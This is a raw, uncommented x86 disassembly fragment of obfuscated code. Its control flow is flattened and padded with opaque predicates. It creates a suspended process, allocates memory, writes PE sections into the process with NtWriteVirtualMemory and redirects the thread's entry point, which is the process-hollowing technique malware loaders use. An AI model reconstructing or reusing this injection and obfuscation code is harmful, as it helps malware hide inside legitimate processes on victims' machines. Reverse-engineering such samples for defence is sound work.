mov eax, dword [0x10070688]
mov ecx, dword [0x10070684]
mov edx, eax
add edx, 0x92084bba
sub edx, 1
sub edx, 0x92084bba
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x479dd22f
mov ecx, 0x84a7b691
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7adaa57d
mov ecx, 0xc5b8bb43
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [0x10070688]
mov ecx, dword [0x10070684]
mov edx, eax
sub edx, 0xa9865a
sub edx, 1
add edx, 0xa9865a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x400a396d
mov ecx, 0xbb19837c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [0x10070688]
mov ecx, dword [0x10070684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x60913ade
mov ecx, 0x4d47cbbc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov al, byte [ebp - 0xb6]
mov dword [ebp - 0x158], 0xa03230bc
jmp 0x100107a9
mov eax, dword [ebp - 0x144]
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
mov edx, ecx
sub edx, 0xf00f6919
sub edx, 1
add edx, 0xf00f6919
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc708b52a
mov ecx, 0x328a67f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov dword [ebp - 0x158], 0x54cf100
jmp 0x100107a9
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0xc0]
mov ecx, dword [ebp - 0x28]
add ecx, eax
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0x5480f759
jmp 0x100107a9
mov dword [ebp - 0x158], 0x71d14e0a
jmp 0x100107a9
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x158], 0x60e07f64
jmp 0x100107a9
mov dword [ebp - 0x158], 0x5600673a
jmp 0x100107a9
mov eax, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x158], 0x4562e2f3
jmp 0x100107a9
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x70]
add ecx, 0x3db2f3d7
add ecx, eax
sub ecx, 0x3db2f3d7
mov eax, dword [ebp - 0x130]
mov edx, dword [eax]
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov esi, dword [ebp - 0x110]
imul esi, dword [esi], 0x28
add eax, esi
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, edx
xor edx, edx
sub edx, esi
add eax, edx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x144]
mov esi, dword [eax]
mov eax, dword [ebp - 0x74]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x120]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x110]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100082d0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x158], 0xbd89c58
jmp 0x100107a9
mov ax, word [ebp - 0x38]
mov dword [ebp - 0x158], 0xcca53e05
jmp 0x100107a9
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx]
add ecx, 0x9cf7a606
add ecx, eax
sub ecx, 0x9cf7a606
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x158], 0xaef454cf
jmp 0x100107a9
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x158], 0xc945baa8
jmp 0x100107a9
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
sub ecx, 0xa994a442
add ecx, eax
add ecx, 0xa994a442
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0x94c8dbc3
jmp 0x100107a9
mov eax, dword [ebp - 0x138]
mov edx, dword [eax]
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x140]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x158], 0xb6ad05c4
jmp 0x100107a9
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x158], 0x3aec0309
jmp 0x100107a9
jmp 0x10008bf0